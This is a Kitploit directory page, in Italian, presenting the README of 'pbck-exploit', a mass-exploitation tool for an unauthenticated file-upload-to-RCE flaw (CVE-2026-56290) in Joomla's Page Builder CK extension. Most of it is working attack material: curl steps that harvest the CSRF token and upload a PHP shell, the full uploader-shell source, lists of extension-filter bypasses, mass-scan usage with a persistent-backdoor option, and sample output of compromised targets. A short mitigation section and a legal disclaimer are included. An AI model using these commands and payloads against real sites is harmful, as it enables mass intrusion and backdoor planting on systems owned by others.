Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pbck-exploit — 📤 Framework di sfruttamento di massa per CVE-2026-56290 — Page Builder CK Joomla caricamento di file non autenticato a RCE | Kitploit
Strumenti/GitHubGitHub/shinthink/pbck-exploit
RicognizioneScanner di VulnerabilitàFramework di ExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubshinthink/pbck-exploit

pbck-exploit

📤 Framework di sfruttamento di massa per CVE-2026-56290 — Page Builder CK Joomla caricamento di file non autenticato a RCE

Vedi Repository
31 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

PBCK-Exploit — CVE-2026-56290 Joomla Page Builder CK Exploit

Python CVE Licenza

Scoperta CSRF RCE Pulizia Live

Framework di Sfruttamento di Massa & Validazione per Joomla Page Builder CK

Caricamento Arbitrario di File Non Autenticato → Esecuzione di Codice Remota



📑 Indice dei Contenuti

  • Panoramica della Vulnerabilità
  • Versioni Affette
  • Funzionalità
  • Installazione
  • Utilizzo
  • Prova di Concetto
  • Approfondimento Tecnico
  • Metodologia di Rilevamento
  • Difesa & Mitigazione
  • Disclaimer
  • Riferimenti

🔴 Panoramica della Vulnerabilità

CVE-2026-56290 è una vulnerabilità di gravità critica in Page Builder CK (com_pagebuilderck), una popolare estensione per la creazione di pagine in Joomla. Il metodo del controller browse.ajaxAddPicture accetta caricamenti di file non autenticati con un percorso di destinazione controllato dall'utente, consentendo agli attaccanti di scrivere file PHP arbitrari in directory accessibili dal web.

La Causa Principale

root@kitploit:~
// browse.php controller — NESSUN controllo di autenticazione
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← file controllato dall'utente
    $path  = trim($input->get('path', ''));       // ← path controllato dall'utente, solo trim()!
    // ... carica il file in $path senza convalidare la destinazione
}

Il parametro path subisce solo una sanitizzazione trim() — niente whitelist, niente controllo di path traversal, niente gate di autenticazione. Combinato con un token CSRF pubblicamente accessibile da qualsiasi pagina Joomla, gli attaccanti possono caricare shell PHP da remoto in qualsiasi directory scrivibile.

Impatto

VettoreGravitàImpatto
Caricamento File Non Autenticato

La Catena d'Attacco

root@kitploit:~
1. COLPISCI la homepage Joomla → raccogli token CSRF (hex32 + valore "1")
2. POST caricamento file       → task=browse.ajaxAddPicture&{token}=1
3. La shell PHP atterra in     → media/com_pagebuilderck/gfonts/shell.php
4. GET URL shell               → codice eseguito, RCE confermata
5. POST f=@file alla shell     → carica strumenti aggiuntivi
6. GET ?cleanup=1              → shell si autodistrugge

🟠 Versioni Affette

Nota: La versione viene rilevata dal file manifest di Joomla in /administrator/manifests/files/com_pagebuilderck.xml. Se il manifest non è accessibile, lo scanner considera il target come potenzialmente vulnerabile.


✨ Funzionalità


📦 Installazione

root@kitploit:~
# Clona il repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Installa le dipendenze
pip install -r requirements.txt

# Verifica
python cve_2026_56290.py --help

Requisiti

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

📖 Utilizzo

Argomenti da Riga di Comando

root@kitploit:~
CVE-2026-56290 — PageBuilderCK RCE Non Autenticata | Exploit di Massa & Validatore

  -t, --target        URL singolo target
  -f, --file          File con URL target (uno per riga, # per commenti)
  -o, --output        File output TXT live (default: cve-2026-56290_live.txt)
  --json              Percorso file report JSON (default: cve-2026-56290_report.json)
  --threads           Worker concorrenti (default: 20)
  --timeout           Timeout richiesta in secondi (default: 15)
  --no-cleanup        Lascia le shell sul target (backdoor persistente)
  -v, --verbose       Output verbose scoperta endpoint
  --known-endpoint    Salta scoperta: task,file_param,folder_param

Utilizzo Base

root@kitploit:~
# Singolo target
python cve_2026_56290.py -t https://target.com

# Scansione di massa da file
python cve_2026_56290.py -f targets.txt

# Output personalizzato + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Lascia le shell (backdoor persistente)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Salta scoperta con endpoint noto
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

Formato File Target

root@kitploit:~
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# commenti e righe vuote vengono ignorati

🧪 Prova di Concetto

Scenario 1: Scansione di Massa con Output Live

root@kitploit:~
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
root@kitploit:~
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 target | 20 thread | cleanup=si
  TXT live: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [rce_confermata]  12.4s
     PBCK: 3.4.7 [VULN]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     Uso: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [corretto]  3.2s

  ✅ https://target-vuln2.com  [rce_confermata]  15.1s
     PBCK: 3.1.0 [VULN]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     Uso: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  RIEPILOGO SCANSIONE
==================================================
  Totale          : 5
  ✅ RCE Confermata : 2
  ⚠️  RCE Fallita   : 1
  🛡️  Corretto      : 1
  🔍 Differenza     : 0
  ❌ Non Joomla    : 0
  ⏭️  Nessun Componente : 1
  💥 Errori         : 0
==================================================

Scenario 2: Riproduzione Manuale (curl + Python)

Passo 1 — Raccogli Token CSRF

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

Passo 2 — Carica Shell PHP

root@kitploit:~
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "[email protected];type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

Passo 3 — Verifica RCE

root@kitploit:~
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → Output shell PHP, conferma esecuzione codice

Scenario 3: Il Payload della Shell PHP

Lo scanner distribuisce una shell uploader autonoma — nessun exec(), system() o eval() richiesto:

root@kitploit:~
<html><body>
<form method=post enctype=multipart/form-data>
  <input type=file name=f>
  <input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
  move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
  echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
  @unlink(__FILE__);
  die('PULITO');
}
echo '<token-di-convalida-univoco>';
?></pre></body></html>

Capacità della shell:

  • 📤 Carica file aggiuntivi tramite POST f=@file
  • 🧹 Autodistruzione tramite ?cleanup=1
  • 🔑 Convalida basata su token (lo scanner verifica il token univoco nell'output)

🔬 Approfondimento Tecnico

Architettura

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                     PBCK-EXPLOIT                        │
├──────────────────┬──────────────────────────────────────┤
│   FASE RICOGNIZIONE │           FASE SFRUTTAMENTO           │
│                  │                                      │
│  ┌────────────┐  │  ┌──────────────┐  ┌──────────────┐  │
│  │ Rilevamento  │  │  Brute-force  │  │ Griglia      │  │
│  │ Joomla      │  │  Endpoint     │  │ Bypass       │  │
│  │ (2 fasi)    │  │  (1000+ combo)│  │ Estensione   │  │
│  └─────┬──────┘  │  └──────┬───────┘  │ (40+ estensioni)│
│        │         │         │                  │          │
│  ┌─────▼──────┐  │  ┌──────▼───────┐  ┌──────▼───────┐  │
│  │ Rilevamento  │  │  Raccolta     │  │ Distribuzione│  │
│  │ PBCK        │  │  Token CSRF   │  │ Shell PHP    │  │
│  │ (sonde)     │  │  (5 pagine)   │  │ (20+ percorsi)│  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │         │           ┌──────▼───────┐  │
│  │ Controllo   │  │         │           │ Convalida    │  │
│  │ Versione    │  │         │           │ + Pulizia    │  │
│  └────────────┘  │         │           └──────────────┘  │
└──────────────────┴──────────────────────────────────────┘

Strategia di Scoperta Endpoint

Lo scanner utilizza un approccio brute-force a livelli con un budget di tempo per target (15s):

Ogni combinazione: carica una sonda .txt → verifica tramite GET → match su successo. Ritorna immediatamente quando confermato.

Filosofia del Bypass dell'Estensione

CKFile::makeSafe() blocca .php su alcune configurazioni. La strategia di bypass:

root@kitploit:~
Livello 1: Veloce
  php, PHP, pht, phar
         ↓ (se bloccato)
Livello 2: Giocoleria maiuscole/minuscole
  Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
         ↓ (se bloccato)
Livello 3: Gestori alternativi
  php3, php4, php5, php6, php7, php8, phtml, shtml, inc
         ↓ (se bloccato)
Livello 4: Doppie estensioni
  php.jpg, jpg.php, php.png, php.gif, php.txt
         ↓ (se bloccato)
Livello 5: Trucchi Windows
  php., PHP., php. , php.SWF

Raccolta Token CSRF

Il token CSRF di Joomla è incorporato in ogni pagina — home, login, registrazione, moduli di contatto, admin:

root@kitploit:~
CSRF_PAGES = [
    "",                                                            # homepage
    "/index.php?option=com_users&view=login",                       # login
    "/index.php?option=com_users&view=registration",                # registrazione
    "/index.php?option=com_contact&view=contact&id=1",              # contatto
    "/administrator/index.php",                                     # login admin
]

Pattern A — Input nascosto HTML: <input type="hidden" name="<hex32>" value="1">

Pattern B — Config JSON: "csrf.token":"<hex32>"


🔍 Metodologia di Rilevamento

Rilevamento Joomla (2 Fasi)

Fase 1 — Impronte HTML (veloci, definitive)

  • Meta tag Generator contenente "Joomla!"
  • Elementi strutturali: <jdoc:include>, joomla-script-options, "csrf.token"
  • Pattern di percorso: /components/com_, /modules/mod_, /plugins/system/
  • Analisi cookie di sessione

Fase 2 — Sonda Pannello Amministrazione (fallback)

  • Recupera pagina /administrator/
  • Controlla indicatori admin specifici di Joomla: name="username", mod-login-, administrator/templates/

Rilevamento PBCK (3 Livelli)

Livello 1 — Indicatori forti HTML

root@kitploit:~
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck

Livello 2 — Indicatori deboli HTML con conferma

root@kitploit:~
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)

Livello 3 — Sonde dirette su file (cattura installazioni dove PBCK non è in homepage)

root@kitploit:~
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml

🛡️ Difesa & Mitigazione

1. Aggiorna Immediatamente

root@kitploit:~
# Aggiorna Page Builder CK all'ultima versione corretta
# Controlla: https://extensions.joomla.org/extension/page-builder-ck/

2. Blocca l'Endpoint di Caricamento

root@kitploit:~
# Nginx — blocca l'accesso non autenticato al controller di caricamento
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
    deny all;
}
root@kitploit:~
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]

3. Rafforza l'Esecuzione PHP nelle Directory Scrivibili

root@kitploit:~
# .htaccess in media/ — disabilita esecuzione PHP
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

4. Controlla la Tua Flotta

root@kitploit:~
# Scansiona la tua infrastruttura
python cve_2026_56290.py -f i_miei_siti_joomla.txt -o risultati_audit.txt

⚠️ Disclaimer

🚨 SOLO PER SCOPI EDUCATIVI & TEST AUTORIZZATI

Questo software è fornito esclusivamente per scopi educativi e ricerca legittima sulla sicurezza. È inteso per essere utilizzato da:

  • 🛡️ Professionisti della sicurezza che conducono test di penetrazione autorizzati
  • 🏢 Organizzazioni che sottopongono a audit la propria infrastruttura Joomla
  • 🔬 Ricercatori che studiano tecniche di sfruttamento delle vulnerabilità
  • 🎓 Studenti che studiano la sicurezza delle applicazioni web

❌ NON puoi utilizzare questo software per:

  • Accedere a sistemi informatici senza autorizzazione esplicita scritta
  • Compromettere, danneggiare o interrompere sistemi che non possiedi
  • Intraprendere attività illegali di qualsiasi tipo

⚖️ Avviso Legale

L'accesso non autorizzato ai sistemi informatici viola leggi tra cui, ma non solo:

  • Stati Uniti: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
  • Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • Unione Europea: Direttiva 2013/40/UE
  • Regno Unito: Computer Misuse Act 1990

L'autore/gli autori NON si assumono ALCUNA RESPONSABILITÀ per qualsiasi uso improprio, danno o conseguenza legale derivante dall'uso di questo strumento. Utilizzando questo software, riconosci di essere l'unico responsabile delle tue azioni e accetti di rispettare tutte le leggi applicabili.


📚 Riferimenti


⚡ Costruito con precisione per la comunità di ricerca sulla sicurezza ⚡

Joomla® è un marchio registrato di Open Source Matters, Inc.
Questo progetto non è affiliato o approvato da Joomla, Open Source Matters o Page Builder CK.

Scarica lo strumento
9.8 (Critico)
Esecuzione arbitraria di codice PHP
Raccolta Token CSRF5.3 (Medio)Abilita la catena di caricamento
Divulgazione di Informazioni5.3 (Medio)Fingerprinting della versione dell'estensione
Versione Page Builder CKStatoNote
3.1.1 e precedenti🔴 VulnerabileCaricamento non autenticato confermato
3.4.10 e precedenti🔴 VulnerabileRange esteso per analisi
3.5.10 e precedenti🔴 VulnerabileAlcune varianti corrette potrebbero esistere
> 3.5.10🟢 Possibilmente CorrettoVerifica tramite manifest XML

🔍 Ricognizione

  • Rilevamento Joomla — 2 fasi: impronte HTML + sonda pannello amministrazione
  • Rilevamento PBCK — Sonde dirette sui path + pattern matching HTML
  • Estrazione versione — Parsing manifest XML + fallback regex HTML
  • Raccolta token CSRF — Estrazione token da più pagine (home, login, registrazione, admin)
  • Brute-force endpoint — 1000+ combinazioni task/param/path con scoperta a budget di tempo

💀 Sfruttamento

  • 40+ bypass estensione — Giocoleria maiuscole/minuscole, varianti numerate, estensioni doppie, trucchi Windows
  • 20+ percorsi di destinazione — Directory di estensioni, directory scrivibili Joomla, path traversal
  • Convalida shell — Conferma basata su token che PHP esegue
  • Pulizia automatica — Shell si autodistruggono dopo la convalida (?cleanup=1)
  • Output TXT live — Risultati reali thread-safe scritti su file
  • Report JSON — Report strutturato con dettagli completi per target
LivelloTaskParametri FileParametri CartellaPercorsi DestinazioneCombinazioni Totali
Livello 1 (confermato)browse.ajaxAddPicture + 3 altrifile, Filedatapath, folder, dirTop 4 directory PBCK96
Livello 2 (griglia completa)12 task4 parametri5 parametri20+ percorsi4.800+
RisorsaLink
Inserimento NVDCVE-2026-56290
Sicurezza Joomladeveloper.joomla.org/security
Page Builder CKextensions.joomla.org
OWASP File UploadCaricamento File Senza Restrizioni